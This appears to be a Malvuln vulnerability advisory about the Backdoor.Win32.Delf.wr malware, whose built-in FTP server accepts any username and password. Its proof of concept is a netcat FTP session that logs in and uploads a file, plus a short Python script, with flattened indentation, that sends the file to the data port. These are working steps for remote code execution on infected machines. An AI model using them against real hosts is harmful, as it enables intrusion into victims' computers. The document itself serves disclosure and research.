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Backdoor.Win32.Delf.wr MVID-2021-0326 Authentication Bypass / Code Execution

Backdoor.Win32.Delf.wr MVID-2021-0326 Authentication Bypass / Code Execution
Posted Aug 31, 2021
Authored by malvuln | Site malvuln.com

Backdoor.Win32.Delf.wr malware suffers from bypass and code execution vulnerabilities.

tags | exploit, vulnerability, code execution
systems | windows
SHA-256 | 6ab9d2c3a3532f616417be3d7b6cb8d4c3f8aae3f2edf0817613b9ca0bd913f2

Backdoor.Win32.Delf.wr MVID-2021-0326 Authentication Bypass / Code Execution

Change Mirror Download
Discovery / credits: Malvuln - malvuln.com (c) 2021
Original source: https://malvuln.com/advisory/fc74e80ff2f49380972904d77df1c0f1.txt
Contact: malvuln13@gmail.com
Media: twitter.com/malvuln

Threat: Backdoor.Win32.Delf.wr
Vulnerability: Authentication Bypass RCE
Description: The CrazyInvadres Group⌐ bY SMURF_NS malware runs an FTP server on TCP port 64554. Third-party attackers who can reach infected systems can logon using any username/password combination. Intruders may then upload executables using ftp PASV, STOR commands, this can result in remote code execution.
Type: PE32
MD5: fc74e80ff2f49380972904d77df1c0f1
Vuln ID: MVID-2021-0326
Disclosure: 08/30/2021


Exploit/PoC:
nc64.exe 192.168.18.129 64554
220 CrazyInvadres Group⌐ bY SMURF_NS ;)
USER mal
331 Password required for mal.
PASS vuln
230 User mal logged in.
SYST
215 UNIX Type: L8 Internet Component Suite
PASV
227 Entering Passive Mode (192,168,18,129,194,21).
CDUP
250 CWD command successful. "C:/" is current directory.
STOR DOOM.js
150 Opening data connection for DOOM.js.
226 File received ok


from socket import *

MALWARE_HOST="192.168.18.129"
PORT=49685
DOOM="DOOM.js"

def doit():
s=socket(AF_INET, SOCK_STREAM)
s.connect((MALWARE_HOST, PORT))

f = open(DOOM, "rb")
EXE = f.read()
s.send(EXE)

while EXE:
s.send(EXE)
EXE=f.read()

s.close()

print("By Malvuln");

if __name__=="__main__":
doit()



Disclaimer: The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information or exploits by the author or elsewhere. Do not attempt to download Malware samples. The author of this website takes no responsibility for any kind of damages occurring from improper Malware handling or the downloading of ANY Malware mentioned on this website or elsewhere. All content Copyright (c) Malvuln.com (TM).
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